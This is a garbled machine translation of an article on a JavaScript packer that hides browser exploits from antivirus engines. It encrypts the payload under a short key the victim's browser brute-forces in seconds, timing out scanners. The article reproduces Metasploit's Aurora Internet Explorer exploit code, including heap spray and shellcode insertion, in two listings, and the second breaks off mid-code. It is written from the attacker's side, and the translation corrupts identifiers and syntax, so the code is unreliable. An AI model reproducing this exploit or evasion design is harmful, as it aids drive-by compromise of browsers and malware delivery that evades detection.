Author: Sven Taute
Translator: riusksk (quange)
Because of the dynamic characteristics of JavaScript, it is easy to use it to confuse exploit code. Because JavaScript is an interpreted language and the website also provides source code to users, the function of Javascript obfuscation code is often used to protect the source code to prevent copying and pasting, it also protects developers' intellectual property rights. In the past few years, algorithms used for obfuscation of attack code have been greatly improved. Coupled with the use of commercial tools, we have even developed obfuscators that can be disguised (implicitly formatted with blank characters.
Malicious Javascript Detection
For dynamically obfuscated code, the method of using known signatures cannot be detected, so the code after obfuscation cannot be identified as malicious code. In this regard, the anti-virus scanner needs a good simulation engine to identify the script running behavior after the decompression. This leads to a battle between attackers and security software vendors. Obfuscation Code is designed to protect the intellectual property of source code, and can also be used to better hide exploit signatures. They seem to have many commonalities: they are all complicated to hide real code, prevent being identified by people or detection software.
Once the pattern-based detection method fails, the Anti-Virus engine must analyze and simulate JavaScript until it identifies the real functions of the script to detect malicious code. As mentioned above, JavaScript is a language that can be used to hide code in multiple ways. It supports metaprogramming, this type of computer program is used to write or manipulate other programs (or itself) as their data, or to complete part of the work that should have been completed during compilation at runtime. In most cases, compared with writing all the code manually, programmers can get higher work efficiency, or give the program greater flexibility to handle new situations without re-Compiling ), this means that the code can be self-modified and new code can be created. It is also a well-known method to encrypt the string first and then execute it using the eval () function. Because the Code must be able to run itself, the JavaScript obfuscators integrate keys with decryption programs implemented by a large number of obfuscation algorithms.
Different functions and restrictions of JavaScript code Compressors
From the attacker's point of view, there is an advantage, that is, website developers do not consider factors in most JavaScript compressors: time. Obfuscation of code on a legitimate website must be executed fast enough, even without compression. However, from the attacker's point of view, we still have some time to use it, but it doesn't matter if the execution of exploit is completed within milliseconds or 2 seconds, because most victims do not even notice it, and even do not open the task manager to kill the process at that time. However, the anti-virus scanner must process Javascript in the same way as the website developer. It does not take much time to execute it than it does not scan, preferably a tenth of a second.
Time used
To take advantage of time factors, the Code compressors need to create code that will not be analyzed within a certain time span (timespan. Because this technology should not be too complex, it must be executed in some way, and this method requires that the Code will not be analyzed in a short time, so the best solution is to encrypt the payload. Compared with the popular code compressors, they do not meet all the key requirements for encrypting payload. Naturally, it is impossible to decrypt the data within a reasonable period of time. This not only requires that the anti-virus scanner cannot view the payload, but also the attacker's browser cannot. As mentioned above, due to the rapid analysis of the anti-virus scanner, the execution time on the attacker's browser is relatively short. However, this is not the case either. We can create a loader for brute-force searches for keys that access payload, and then select a KEY that can be cracked within several seconds. Finally, the Anti-Virus engine times out, but the payload is already running in the browser. In today's browsers, we have a highly optimized JavaScript engine that runs brute-force algorithms quickly, which provides us with great advantages.
Implementation Plan
To implement the encryption function, the Code compressors use the MD5 Link Library, which can be used properly on a legitimate website. The compressed file uses MD5 hash to encrypt the KEY in payload or encryption, and the KEY itself is divided into three parts. The first part is provided to the browser. The second part is the URL query string to be redirected by the browser. A separate webpage (often saved as a temporary file) does not contain any information required to decrypt the payload, if the query string cannot be obtained, the Code cannot be analyzed. The third part must be guessed before the code can be obtained. To achieve this goal, the browser obtains partial md5 hash because the key is quite short, you can use the salt value to predict all possible hash values.
The last part is the most critical: The KEY must be randomly selected so that it takes 2-3 seconds to crack. If you select a weak KEY, the first guess may be correct. To solve this problem, the minimum five keys must be cracked. Using this technique, we can further optimize it to generate a KEY within a specific period of time. After calculating the unknown part of the KEY (known to be encrypted Based on MD5 hash), the victim's browser can reorganize the original KEY and then use it to decrypt the payload and then use eval () function.
Another difficulty lies in the Javascript execution time in different browsers. It may take 1 second to run the script on the latest version of the browser, but it may take more time to run the script on the old version (such as Internet Explorer 6, because most of the attack targets specific browser versions, the running performance of the Javascript engine is generally known. In addition, the expected execution speed of the JavaScript engine can be obtained (if the attacked browser is of the old version, the AV scanner will have a certain advantage ). Figure 1 lists the design drawings of the JavaScript code compressors:
Figure 1
Integrate Metasploit framework and Its Use Cases
Listing 1 lists some of the code for the original aurora exploit provided by Metasploit framework.
Listing 1. JS code generation from the original metasploit aurora module
Var_boom = rand_text_alpha (rand (100) + 1)
Var_element = rand_text_alpha (rand (100) + 1)
Var_event = rand_text_alpha (rand (100) + 1)
Var_loaded_arg = rand_text_alpha (rand (100) + 1)
Var_memory = rand_text_alpha (rand (100) + 1)
Var_spray = rand_text_alpha (rand (100) + 1)
Var_ I = rand_text_alpha (rand (100) + 1)
Var_el_array = rand_text_alpha (rand (100) + 1)
Var_grab_mem = maid (rand (100) + 1)
Var_unescape = rand_text_alpha (rand (100) + 1)
Var_shellcode = maid (rand (100) + 1)
Js = % Q | var # {var_element} = "COMMENT ";
Var # {var_el_array} = new Array ();
For (I = 0; I <1300; I ++)
{
# {Var_el_array} [I] = document. createElement (# {var_element });
# {Var_el_array} [I]. data = "# {bleh }";
}
Var # {var_event} = null;
Var # {var_memory} = new Array ();
Var # {var_unescape} = unescape;
Function # {var_boom }()
{
Var # {var_shellcode }=#{ var_unescape} ('# {Rex: Text. to_unescape (regenerate _
Payload (cli). encoded )}');
Var # {var_spray }=# {var_unescape} ("%" + "u" + "0" + "c" + "0" + "d" + "% u"
+ "0" + "c" + "0" + "d ");
Do {# {var_spray} + =#{ var_spray} while (# {var_spray}. length <0xd0000 );
For (# {var_ I} = 0 ;#{ var_ I} <150 ;#{ var_ I }++) # {var_memory} [# {var_ I}] =
# {Var_spray} + # {var_shellcode };
}
Function # {var_loaded} (# {var_loaded_arg })
{
# {Var_boom }();
# {Var_event} = document. createEventObject (# {var_loaded_arg });
Document. getElementById ("# {var_span_id}"). innerHTML = "";
Window. setInterval (# {var_grab_mem}, 50 );
}
Function # {var_grab_mem }()
{
P = "\ u0c0f \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \
U0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \
U0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \
U0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \ u0c0d \
U0c0d \ u0c0d \ u0c0d ";
For (I = 0; I <# {var_el_array}. length; I ++)
{
# {Var_el_array} [I]. data = p;
}
Var t = # {var_event}. srcElement;
}
All variable names are manually set as random strings to make code reading and modification more difficult. The newly developed code compressors almost changed all the original code, encrypted the code, and decrypted it with the loader. Once the loader is decrypted, the eval () function is called to execute the code. Listing 2 lists the exploit code that has been processed using the newly developed ZIP:
Listing 2. Code from Listing 1 using the JSidle packer
Js = % Q | var element = "COMMENT ";
Var el_array = new Array ();
For (I = 0; I <1300; I ++)
{
El_array [I] = document. createElement (element );
El_array [I]. data = "# {bleh }";
}
Var event2 = null;
Var memory = new Array ();
Var unescape = unescape;
Function boom ()
{
Var shellcode = unescape ('# {Rex: Text. to_unescape (regenerate_payload (cli ).
Encoded )}');
Var spray = unescape ("%" + "u" + "0" + "c" + "0" + "d" + "% u" + "0" + "c ""+
"0" + "d ");
Do {spray + = spray} while (spray. length <0xd0000 );
For (I = 0; I <150; I ++) memory [I] = spray + shellcode;
}
Function # {var_loaded} (loaded_arg)
{
Boom ();
Event2 = document. createEventObject (loaded_arg );
Document. getElementById ("# {var_span_id}"). innerHTML = "";
Window. setInterval (grab_mem, 50 );
}
Function grab_mem ()
{
P = "\ u0c0f \ u0c0d \ u0c0d \ u0c0d \ u0c0